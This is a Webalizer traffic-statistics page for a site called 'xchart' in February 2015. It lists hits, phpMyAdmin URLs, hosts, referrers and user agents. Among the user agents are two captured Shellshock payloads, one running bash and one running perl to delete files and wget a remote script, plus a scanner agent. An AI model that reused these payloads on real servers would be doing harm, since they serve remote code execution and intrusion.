Usage statistics for xchart

Summary Period: February 2015
Generated 10-Feb-2015 06:53 CET

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2015
Total Hits 2796
Total Files 2617
Total Pages 2725
Total Visits 42
Total kB Files 33003
Total Unique Sites 35
Total Unique URLs 25
Total Unique Referrers 8
Total Unique User Agents 19
. Avg Max
Hits per Hour 12 86
Hits per Day 310 394
Files per Day 290 354
Pages per Day 302 362
Sites per Day 3 12
Visits per Day 4 14
kB Files per Day 3667 5167
Hits by Response Code
Code 200 - OK 93.60% 2617
Code 301 - Moved Permanently 0.07% 2
Code 302 - Found 0.18% 5
Code 304 - Not Modified 0.57% 16
Code 400 - Bad Request 0.21% 6
Code 404 - Not Found 5.22% 146
Code 500 - Internal Server Error 0.14% 4

Daily usage for February 2015

Daily Statistics for February 2015
Day Hits Files Pages Visits Sites kB F
1 297 10.62% 291 11.12% 297 10.90% 5 11.90% 5 14.29% 3321 10.06%
2 288 10.30% 288 11.00% 288 10.57% 1 2.38% 1 2.86% 3314 10.04%
3 394 14.09% 354 13.53% 356 13.06% 14 33.33% 12 34.29% 5167 15.66%
4 292 10.44% 290 11.08% 292 10.72% 4 9.52% 4 11.43% 3321 10.06%
5 296 10.59% 292 11.16% 292 10.72% 4 9.52% 4 11.43% 3346 10.14%
6 293 10.48% 290 11.08% 292 10.72% 5 11.90% 6 17.14% 3329 10.09%
7 365 13.05% 290 11.08% 362 13.28% 6 14.29% 7 20.00% 3359 10.18%
8 324 11.59% 291 11.12% 320 11.74% 6 14.29% 4 11.43% 3331 10.09%
9 247 8.83% 231 8.83% 226 8.29% 5 11.90% 3 8.57% 4514 13.68%

Hourly usage for February 2015

Hourly Statistics for February 2015
Hour Hits Files Pages kB F
Avg Total Avg Total Avg Total Avg Total
0 12 115 4.11% 12 109 4.17% 12 115 4.22% 139 1249 3.78%
1 12 114 4.08% 12 108 4.13% 12 114 4.18% 138 1246 3.77%
2 12 109 3.90% 12 109 4.17% 12 109 4.00% 139 1254 3.80%
3 12 108 3.86% 12 108 4.13% 12 108 3.96% 138 1243 3.77%
4 12 116 4.15% 12 110 4.20% 12 116 4.26% 139 1250 3.79%
5 20 180 6.44% 12 109 4.17% 19 178 6.53% 143 1287 3.90%
6 12 111 3.97% 12 109 4.17% 12 111 4.07% 139 1255 3.80%
7 12 108 3.86% 12 108 4.13% 12 108 3.96% 138 1243 3.77%
8 12 111 3.97% 12 110 4.20% 12 110 4.04% 139 1255 3.80%
9 12 110 3.93% 12 110 4.20% 12 110 4.04% 139 1254 3.80%
10 12 109 3.90% 11 107 4.09% 12 109 4.00% 137 1232 3.73%
11 20 183 6.55% 18 164 6.27% 17 156 5.72% 336 3027 9.17%
12 14 132 4.72% 13 119 4.55% 13 121 4.44% 143 1288 3.90%
13 12 109 3.90% 12 109 4.17% 12 109 4.00% 138 1243 3.77%
14 13 121 4.33% 12 113 4.32% 12 114 4.18% 141 1272 3.85%
15 15 141 5.04% 15 137 5.24% 14 129 4.73% 389 3498 10.60%
16 11 100 3.58% 10 96 3.67% 11 100 3.67% 123 1106 3.35%
17 11 101 3.61% 10 98 3.74% 11 99 3.63% 125 1129 3.42%
18 11 103 3.68% 11 99 3.78% 11 101 3.71% 125 1122 3.40%
19 10 96 3.43% 10 96 3.67% 10 96 3.52% 123 1105 3.35%
20 10 97 3.47% 10 96 3.67% 10 97 3.56% 123 1105 3.35%
21 10 97 3.47% 10 96 3.67% 10 96 3.52% 123 1105 3.35%
22 11 100 3.58% 11 100 3.82% 11 99 3.63% 124 1115 3.38%
23 13 125 4.47% 10 97 3.71% 13 120 4.40% 125 1122 3.40%

Top 14 of 25 Total URLs
# Hits kB F URL
1 2521 90.16% 28814 87.31% /
2 10 0.36% 79 0.24% /phpmyadmin/
3 8 0.29% 1826 5.53% /phpmyadmin/js/get_scripts.js.php
4 8 0.29% 146 0.44% /phpmyadmin/js/messages.php
5 8 0.29% 138 0.42% /phpmyadmin/phpmyadmin.css.php
6 7 0.25% 277 0.84% /phpmyadmin/navigation.php
7 6 0.21% 1192 3.61% /phpmyadmin/db_structure.php
8 6 0.21% 39 0.12% /phpmyadmin/js/get_image.js.php
9 6 0.21% 59 0.18% /phpmyadmin/server_privileges.php
10 6 0.21% 38 0.12% /phpmyadmin/themes/pmahomme/jquery/jquery-ui-1.9.2.custom.css
11 2 0.07% 37 0.11% /phpmyadmin/db_search.php
12 2 0.07% 38 0.11% /phpmyadmin/favicon.ico
13 1 0.04% 7 0.02% /phpmyadmin/server_databases.php
14 1 0.04% 107 0.32% /phpmyadmin/sql.php

Top 10 of 25 Total URLs By kB F
# Hits kB F URL
1 2521 90.16% 28814 87.31% /
2 8 0.29% 1826 5.53% /phpmyadmin/js/get_scripts.js.php
3 6 0.21% 1192 3.61% /phpmyadmin/db_structure.php
4 7 0.25% 277 0.84% /phpmyadmin/navigation.php
5 8 0.29% 146 0.44% /phpmyadmin/js/messages.php
6 8 0.29% 138 0.42% /phpmyadmin/phpmyadmin.css.php
7 1 0.04% 107 0.32% /phpmyadmin/sql.php
8 10 0.36% 79 0.24% /phpmyadmin/
9 6 0.21% 59 0.18% /phpmyadmin/server_privileges.php
10 6 0.21% 39 0.12% /phpmyadmin/js/get_image.js.php

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 2521 90.16% 24 100.00% /

Top 2 of 2 Total Exit Pages
# Hits Visits URL
1 2521 90.16% 18 94.74% /
2 6 0.21% 1 5.26% /phpmyadmin/server_privileges.php

Top 30 of 35 Total Sites
# Hits Files kB F Visits Hostname
1 2491 89.09% 2491 95.19% 28664 86.85% 1 2.38% ::1
2 74 2.65% 55 2.10% 1784 5.41% 1 2.38% 93.51.198.26
3 72 2.58% 1 0.04% 44 0.13% 1 2.38% 195.122.2.196
4 57 2.04% 42 1.60% 2339 7.09% 2 4.76% 194.116.5.7
5 27 0.97% 0 0.00% 13 0.04% 1 2.38% 62.149.232.8
6 11 0.39% 4 0.15% 33 0.10% 2 4.76% 151.91.34.13
7 7 0.25% 4 0.15% 47 0.14% 3 7.14% 188.138.17.205
8 6 0.21% 0 0.00% 3 0.01% 1 2.38% 131.72.139.137
9 6 0.21% 2 0.08% 9 0.03% 2 4.76% 151.33.18.142
10 6 0.21% 0 0.00% 3 0.01% 1 2.38% 162.210.92.27
11 6 0.21% 1 0.04% 3 0.01% 1 2.38% 95.183.244.2
12 4 0.14% 2 0.08% 8 0.02% 1 2.38% 151.33.136.102
13 4 0.14% 4 0.15% 1 0.00% 4 9.52% 70.38.54.82
14 3 0.11% 2 0.08% 8 0.02% 1 2.38% 151.19.241.59
15 2 0.07% 1 0.04% 4 0.01% 1 2.38% 194.63.140.62
16 1 0.04% 0 0.00% 0 0.00% 1 2.38% 115.29.108.61
17 1 0.04% 0 0.00% 0 0.00% 0 0.00% 118.98.104.21
18 1 0.04% 0 0.00% 0 0.00% 1 2.38% 122.117.34.89
19 1 0.04% 0 0.00% 0 0.00% 1 2.38% 128.41.128.44
20 1 0.04% 1 0.04% 11 0.03% 1 2.38% 141.212.122.130
21 1 0.04% 1 0.04% 11 0.03% 1 2.38% 141.212.122.98
22 1 0.04% 0 0.00% 0 0.00% 1 2.38% 148.251.181.46
23 1 0.04% 0 0.00% 0 0.00% 1 2.38% 162.218.196.54
24 1 0.04% 1 0.04% 3 0.01% 1 2.38% 182.118.53.67
25 1 0.04% 1 0.04% 3 0.01% 1 2.38% 182.118.54.111
26 1 0.04% 1 0.04% 3 0.01% 1 2.38% 182.118.60.56
27 1 0.04% 1 0.04% 0 0.00% 1 2.38% 185.35.62.11
28 1 0.04% 0 0.00% 0 0.00% 1 2.38% 190.213.244.209
29 1 0.04% 1 0.04% 0 0.00% 1 2.38% 203.148.48.88
30 1 0.04% 0 0.00% 0 0.00% 1 2.38% 50.172.117.228

Top 10 of 35 Total Sites By kB F
# Hits Files kB F Visits Hostname
1 2491 89.09% 2491 95.19% 28664 86.85% 1 2.38% ::1
2 57 2.04% 42 1.60% 2339 7.09% 2 4.76% 194.116.5.7
3 74 2.65% 55 2.10% 1784 5.41% 1 2.38% 93.51.198.26
4 7 0.25% 4 0.15% 47 0.14% 3 7.14% 188.138.17.205
5 72 2.58% 1 0.04% 44 0.13% 1 2.38% 195.122.2.196
6 11 0.39% 4 0.15% 33 0.10% 2 4.76% 151.91.34.13
7 27 0.97% 0 0.00% 13 0.04% 1 2.38% 62.149.232.8
8 1 0.04% 1 0.04% 11 0.03% 1 2.38% 141.212.122.130
9 1 0.04% 1 0.04% 11 0.03% 1 2.38% 141.212.122.98
10 6 0.21% 2 0.08% 9 0.03% 2 4.76% 151.33.18.142

Top 8 of 8 Total Referrers
# Hits Referrer
1 2678 95.78% - (Direct Request)
2 62 2.22% http://195.88.7.180/phpmyadmin/index.php
3 38 1.36% http://195.88.7.180/phpmyadmin/
4 6 0.21% http://195.88.7.180/
5 6 0.21% http://devel.flymodelcomponents.it/
6 4 0.14% http://195.88.7.180/phpmyadmin/phpmyadmin.css.php
7 1 0.04% http://www.baidu.com/s
8 1 0.04% http://www.flymodelcomponents.it/install.php

Top 15 of 19 Total User Agents
# Hits User Agent
1 2491 89.09% Mozilla/5.0 (ISPConfig monitor)
2 74 2.65% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5
3 72 2.58% () { :;};echo; /bin/bash -c \" echo 2014 | md5sum\"
4 53 1.90% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
5 27 0.97% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"rm -rf /tmp/l.pl*;wget http://74.
6 11 0.39% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:35.0) Gecko/20100101 Firefox/35.0
7 6 0.21% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
8 5 0.18% Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
9 4 0.14% Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0
10 3 0.11% Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile S
11 3 0.11% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36
12 3 0.11% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/7.1.3 Safari/537.85.12
13 2 0.07% Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
14 1 0.04% Cyberduck/16490 CFNetwork/673.5 Darwin/13.4.0 (x86_64) (MacBookPro10%2C2)
15 1 0.04% Morfeus Fucking Scanner

Usage by Country for February 2015

Top 1 of 1 Total Countries
# Hits Files kB F Country
1 2796 100.00% 2617 100.00% 33003 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.23